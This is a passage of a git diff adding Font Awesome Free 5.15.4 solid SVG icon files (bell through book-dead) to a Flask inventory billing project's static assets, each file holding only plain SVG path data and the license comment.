512c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bell.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bell.svg new file mode 100644 index 00000000..b3634306 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bell.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bezier-curve.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bezier-curve.svg new file mode 100644 index 00000000..8e02b9a3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bezier-curve.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 32h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM208 88h-84.75C113.75 64.56 90.84 48 64 48 28.66 48 0 76.65 0 112s28.66 64 64 64c26.84 0 49.75-16.56 59.25-40h79.73c-55.37 32.52-95.86 87.32-109.54 152h49.4c11.3-41.61 36.77-77.21 71.04-101.56-3.7-8.08-5.88-16.99-5.88-26.44V88zm-48 232H64c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zM576 48c-26.84 0-49.75 16.56-59.25 40H432v72c0 9.45-2.19 18.36-5.88 26.44 34.27 24.35 59.74 59.95 71.04 101.56h49.4c-13.68-64.68-54.17-119.48-109.54-152h79.73c9.5 23.44 32.41 40 59.25 40 35.34 0 64-28.65 64-64s-28.66-64-64-64zm0 272h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bible.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bible.svg new file mode 100644 index 00000000..ddc8f6a2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bible.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bicycle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bicycle.svg new file mode 100644 index 00000000..cfec0e66 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bicycle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512.509 192.001c-16.373-.064-32.03 2.955-46.436 8.495l-77.68-125.153A24 24 0 0 0 368.001 64h-64c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h50.649l14.896 24H256.002v-16c0-8.837-7.163-16-16-16h-87.459c-13.441 0-24.777 10.999-24.536 24.437.232 13.044 10.876 23.563 23.995 23.563h48.726l-29.417 47.52c-13.433-4.83-27.904-7.483-42.992-7.52C58.094 191.83.412 249.012.002 319.236-.413 390.279 57.055 448 128.002 448c59.642 0 109.758-40.793 123.967-96h52.033a24 24 0 0 0 20.406-11.367L410.37 201.77l14.938 24.067c-25.455 23.448-41.385 57.081-41.307 94.437.145 68.833 57.899 127.051 126.729 127.719 70.606.685 128.181-55.803 129.255-125.996 1.086-70.941-56.526-129.72-127.476-129.996zM186.75 265.772c9.727 10.529 16.673 23.661 19.642 38.228h-43.306l23.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1.859l-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35.624c-3.96-31.756-19.556-59.894-42.383-80.026L237.371 184h127.547l-74.286 120zm217.057 95.886c-41.036-2.165-74.049-35.692-75.627-76.755-.812-21.121 6.633-40.518 19.335-55.263l44.433 71.586c4.66 7.508 14.524 9.816 22.032 5.156l13.594-8.437c7.508-4.66 9.817-14.524 5.156-22.032l-44.468-71.643a79.901 79.901 0 0 1 19.858-2.497c44.112 0 80 35.888 80 80-.001 45.54-38.252 82.316-84.313 79.885z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/biking.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/biking.svg new file mode 100644 index 00000000..c6fe8421 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/biking.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 96a48 48 0 1 0-48-48 48 48 0 0 0 48 48zm-4 121a31.9 31.9 0 0 0 20 7h64a32 32 0 0 0 0-64h-52.78L356 103a31.94 31.94 0 0 0-40.81.68l-112 96a32 32 0 0 0 3.08 50.92L288 305.12V416a32 32 0 0 0 64 0V288a32 32 0 0 0-14.25-26.62l-41.36-27.57 58.25-49.92zm116 39a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64zM128 256a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/binoculars.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/binoculars.svg new file mode 100644 index 00000000..cfced3b6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/binoculars.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v48h96V48zM63.91 159.99C61.4 253.84 3.46 274.22 0 404v44c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V288h32V128H95.84c-17.63 0-31.45 14.37-31.93 31.99zm384.18 0c-.48-17.62-14.3-31.99-31.93-31.99H320v160h32v160c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-44c-3.46-129.78-61.4-150.16-63.91-244.01zM176 32h-64c-8.84 0-16 7.16-16 16v48h96V48c0-8.84-7.16-16-16-16zm48 256h64V128h-64v160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/biohazard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/biohazard.svg new file mode 100644 index 00000000..b9eb8469 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/biohazard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M287.9 112c18.6 0 36.2 3.8 52.8 9.6 13.3-10.3 23.6-24.3 29.5-40.7-25.2-10.9-53-17-82.2-17-29.1 0-56.9 6-82.1 16.9 5.9 16.4 16.2 30.4 29.5 40.7 16.5-5.7 34-9.5 52.5-9.5zM163.6 438.7c12-11.8 20.4-26.4 24.5-42.4-32.9-26.4-54.8-65.3-58.9-109.6-8.5-2.8-17.2-4.6-26.4-4.6-7.6 0-15.2 1-22.5 3.1 4.1 62.8 35.8 118 83.3 153.5zm224.2-42.6c4.1 16 12.5 30.7 24.5 42.5 47.4-35.5 79.1-90.7 83-153.5-7.2-2-14.7-3-22.2-3-9.2 0-18 1.9-26.6 4.7-4.1 44.2-26 82.9-58.7 109.3zm113.5-205c-17.6-10.4-36.3-16.6-55.3-19.9 6-17.7 10-36.4 10-56.2 0-41-14.5-80.8-41-112.2-2.5-3-6.6-3.7-10-1.8-3.3 1.9-4.8 6-3.6 9.7 4.5 13.8 6.6 26.3 6.6 38.5 0 67.8-53.8 122.9-120 122.9S168 117 168 49.2c0-12.1 2.2-24.7 6.6-38.5 1.2-3.7-.3-7.8-3.6-9.7-3.4-1.9-7.5-1.2-10 1.8C134.6 34.2 120 74 120 115c0 19.8 3.9 38.5 10 56.2-18.9 3.3-37.7 9.5-55.3 19.9-34.6 20.5-61 53.3-74.3 92.4-1.3 3.7.2 7.7 3.5 9.8 3.3 2 7.5 1.3 10-1.6 9.4-10.8 19-19.1 29.2-25.1 57.3-33.9 130.8-13.7 163.9 45 33.1 58.7 13.4 134-43.9 167.9-10.2 6.1-22 10.4-35.8 13.4-3.7.8-6.4 4.2-6.4 8.1.1 4 2.7 7.3 6.5 8 39.7 7.8 80.6.8 115.2-19.7 18-10.6 32.9-24.5 45.3-40.1 12.4 15.6 27.3 29.5 45.3 40.1 34.6 20.5 75.5 27.5 115.2 19.7 3.8-.7 6.4-4 6.5-8 0-3.9-2.6-7.3-6.4-8.1-13.9-2.9-25.6-7.3-35.8-13.4-57.3-33.9-77-109.2-43.9-167.9s106.6-78.9 163.9-45c10.2 6.1 19.8 14.3 29.2 25.1 2.5 2.9 6.7 3.6 10 1.6s4.8-6.1 3.5-9.8c-13.1-39.1-39.5-72-74.1-92.4zm-213.4 129c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/birthday-cake.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/birthday-cake.svg new file mode 100644 index 00000000..153f5ade --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/birthday-cake.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 384c-28.02 0-31.26-32-74.5-32-43.43 0-46.825 32-74.75 32-27.695 0-31.454-32-74.75-32-42.842 0-47.218 32-74.5 32-28.148 0-31.202-32-74.75-32-43.547 0-46.653 32-74.75 32v-80c0-26.5 21.5-48 48-48h16V112h64v144h64V112h64v144h64V112h64v144h16c26.5 0 48 21.5 48 48v80zm0 128H0v-96c43.356 0 46.767-32 74.75-32 27.951 0 31.253 32 74.75 32 42.843 0 47.217-32 74.5-32 28.148 0 31.201 32 74.75 32 43.357 0 46.767-32 74.75-32 27.488 0 31.252 32 74.5 32v96zM96 96c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blender-phone.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blender-phone.svg new file mode 100644 index 00000000..3316a61f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blender-phone.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M392 64h166.54L576 0H192v352h288l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H392c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM158.8 335.01l-25.78-63.26c-2.78-6.81-9.8-10.99-17.24-10.26l-45.03 4.42c-17.28-46.94-17.65-99.78 0-147.72l45.03 4.42c7.43.73 14.46-3.46 17.24-10.26l25.78-63.26c3.02-7.39.2-15.85-6.68-20.07l-39.28-24.1C98.51-3.87 80.09-.5 68.95 11.97c-92.57 103.6-92 259.55 2.1 362.49 9.87 10.8 29.12 12.48 41.65 4.8l39.41-24.18c6.89-4.22 9.7-12.67 6.69-20.07zM480 384H192c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-144 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blender.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blender.svg new file mode 100644 index 00000000..a914787d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blender.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 384H160c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-128 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm40-416h166.54L512 0H48C21.49 0 0 21.49 0 48v160c0 26.51 21.49 48 48 48h103.27l8.73 96h256l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H328c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM64 192V64h69.82l11.64 128H64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blind.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blind.svg new file mode 100644 index 00000000..1b052a3b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blind.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M380.15 510.837a8 8 0 0 1-10.989-2.687l-125.33-206.427a31.923 31.923 0 0 0 12.958-9.485l126.048 207.608a8 8 0 0 1-2.687 10.991zM142.803 314.338l-32.54 89.485 36.12 88.285c6.693 16.36 25.377 24.192 41.733 17.501 16.357-6.692 24.193-25.376 17.501-41.734l-62.814-153.537zM96 88c24.301 0 44-19.699 44-44S120.301 0 96 0 52 19.699 52 44s19.699 44 44 44zm154.837 169.128l-120-152c-4.733-5.995-11.75-9.108-18.837-9.112V96H80v.026c-7.146.003-14.217 3.161-18.944 9.24L0 183.766v95.694c0 13.455 11.011 24.791 24.464 24.536C37.505 303.748 48 293.1 48 280v-79.766l16-20.571v140.698L9.927 469.055c-6.04 16.609 2.528 34.969 19.138 41.009 16.602 6.039 34.968-2.524 41.009-19.138L136 309.638V202.441l-31.406-39.816a4 4 0 1 1 6.269-4.971l102.3 129.217c9.145 11.584 24.368 11.339 33.708 3.965 10.41-8.216 12.159-23.334 3.966-33.708z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blog.svg new file mode 100644 index 00000000..c19b3231 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/blog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M172.2 226.8c-14.6-2.9-28.2 8.9-28.2 23.8V301c0 10.2 7.1 18.4 16.7 22 18.2 6.8 31.3 24.4 31.3 45 0 26.5-21.5 48-48 48s-48-21.5-48-48V120c0-13.3-10.7-24-24-24H24c-13.3 0-24 10.7-24 24v248c0 89.5 82.1 160.2 175 140.7 54.4-11.4 98.3-55.4 109.7-109.7 17.4-82.9-37-157.2-112.5-172.2zM209 0c-9.2-.5-17 6.8-17 16v31.6c0 8.5 6.6 15.5 15 15.9 129.4 7 233.4 112 240.9 241.5.5 8.4 7.5 15 15.9 15h32.1c9.2 0 16.5-7.8 16-17C503.4 139.8 372.2 8.6 209 0zm.3 96c-9.3-.7-17.3 6.7-17.3 16.1v32.1c0 8.4 6.5 15.3 14.8 15.9 76.8 6.3 138 68.2 144.9 145.2.8 8.3 7.6 14.7 15.9 14.7h32.2c9.3 0 16.8-8 16.1-17.3-8.4-110.1-96.5-198.2-206.6-206.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bold.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bold.svg new file mode 100644 index 00000000..dadea173 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bold.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M333.49 238a122 122 0 0 0 27-65.21C367.87 96.49 308 32 233.42 32H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h31.87v288H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h209.32c70.8 0 134.14-51.75 141-122.4 4.74-48.45-16.39-92.06-50.83-119.6zM145.66 112h87.76a48 48 0 0 1 0 96h-87.76zm87.76 288h-87.76V288h87.76a56 56 0 0 1 0 112z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bolt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bolt.svg new file mode 100644 index 00000000..4ecf0146 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bolt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M296 160H180.6l42.6-129.8C227.2 15 215.7 0 200 0H56C44 0 33.8 8.9 32.2 20.8l-32 240C-1.7 275.2 9.5 288 24 288h118.7L96.6 482.5c-3.6 15.2 8 29.5 23.3 29.5 8.4 0 16.4-4.4 20.8-12l176-304c9.3-15.9-2.2-36-20.7-36z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bomb.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bomb.svg new file mode 100644 index 00000000..0d4b2476 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bomb.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440.5 88.5l-52 52L415 167c9.4 9.4 9.4 24.6 0 33.9l-17.4 17.4c11.8 26.1 18.4 55.1 18.4 85.6 0 114.9-93.1 208-208 208S0 418.9 0 304 93.1 96 208 96c30.5 0 59.5 6.6 85.6 18.4L311 97c9.4-9.4 24.6-9.4 33.9 0l26.5 26.5 52-52 17.1 17zM500 60h-24c-6.6 0-12 5.4-12 12s5.4 12 12 12h24c6.6 0 12-5.4 12-12s-5.4-12-12-12zM440 0c-6.6 0-12 5.4-12 12v24c0 6.6 5.4 12 12 12s12-5.4 12-12V12c0-6.6-5.4-12-12-12zm33.9 55l17-17c4.7-4.7 4.7-12.3 0-17-4.7-4.7-12.3-4.7-17 0l-17 17c-4.7 4.7-4.7 12.3 0 17 4.8 4.7 12.4 4.7 17 0zm-67.8 0c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17zm67.8 34c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17zM112 272c0-35.3 28.7-64 64-64 8.8 0 16-7.2 16-16s-7.2-16-16-16c-52.9 0-96 43.1-96 96 0 8.8 7.2 16 16 16s16-7.2 16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bone.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bone.svg new file mode 100644 index 00000000..fc07c773 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bone.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M598.88 244.56c25.2-12.6 41.12-38.36 41.12-66.53v-7.64C640 129.3 606.7 96 565.61 96c-32.02 0-60.44 20.49-70.57 50.86-7.68 23.03-11.6 45.14-38.11 45.14H183.06c-27.38 0-31.58-25.54-38.11-45.14C134.83 116.49 106.4 96 74.39 96 33.3 96 0 129.3 0 170.39v7.64c0 28.17 15.92 53.93 41.12 66.53 9.43 4.71 9.43 18.17 0 22.88C15.92 280.04 0 305.8 0 333.97v7.64C0 382.7 33.3 416 74.38 416c32.02 0 60.44-20.49 70.57-50.86 7.68-23.03 11.6-45.14 38.11-45.14h273.87c27.38 0 31.58 25.54 38.11 45.14C505.17 395.51 533.6 416 565.61 416c41.08 0 74.38-33.3 74.38-74.39v-7.64c0-28.18-15.92-53.93-41.12-66.53-9.42-4.71-9.42-18.17.01-22.88z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bong.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bong.svg new file mode 100644 index 00000000..326f1d4c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bong.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M302.5 512c23.18 0 44.43-12.58 56-32.66C374.69 451.26 384 418.75 384 384c0-36.12-10.08-69.81-27.44-98.62L400 241.94l9.38 9.38c6.25 6.25 16.38 6.25 22.63 0l11.3-11.32c6.25-6.25 6.25-16.38 0-22.63l-52.69-52.69c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l9.38 9.38-39.41 39.41c-11.56-11.37-24.53-21.33-38.65-29.51V63.74l15.97-.02c8.82-.01 15.97-7.16 15.98-15.98l.04-31.72C320 7.17 312.82-.01 303.97 0L80.03.26c-8.82.01-15.97 7.16-15.98 15.98l-.04 31.73c-.01 8.85 7.17 16.02 16.02 16.01L96 63.96v153.93C38.67 251.1 0 312.97 0 384c0 34.75 9.31 67.27 25.5 95.34C37.08 499.42 58.33 512 81.5 512h221zM120.06 259.43L144 245.56V63.91l96-.11v181.76l23.94 13.87c24.81 14.37 44.12 35.73 56.56 60.57h-257c12.45-24.84 31.75-46.2 56.56-60.57z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-dead.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-dead.svg new file mode 100644 index 00000000..c50b4218 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-dead.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm176 222.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM240 56c44.2 0 80 28.7 80 64 0 20.9-12.7 39.2-32 50.9V184c0 8.8-7.2 16-16 16h-64c-8.8 0-16-7.2-16-16v-13.1c-19.3-11.7-32-30-32-50.9 0-35.3 35.8-64 80-64zM124.8 223.3l6.3-14.7c1.7-4.1 6.4-5.9 10.5-4.2l98.3 42.1 98.4-42.1c4.1-1.7 8.8.1 10.5 4.2l6.3 14.7c1.7 4.1-.1 8.8-4.2 10.5L280.6 264l70.3 30.1c4.1 1.7 5.9 6.4 4.2 10.5l-6.3 14.7c-1.7 4.1-6.4 5.9-10.5 4.2L240 281.4l-98.3 42.2c-4.1 1.7-8.8-.1-10.5-4.2l-6.3-14.7c-1.7-4.1.1-8.8 4.2-10.5l70.4-30.1-70.5-30.3c-4.1-1.7-5.9-6.4-4.2-10.5zm256 224.7H96c-19.2 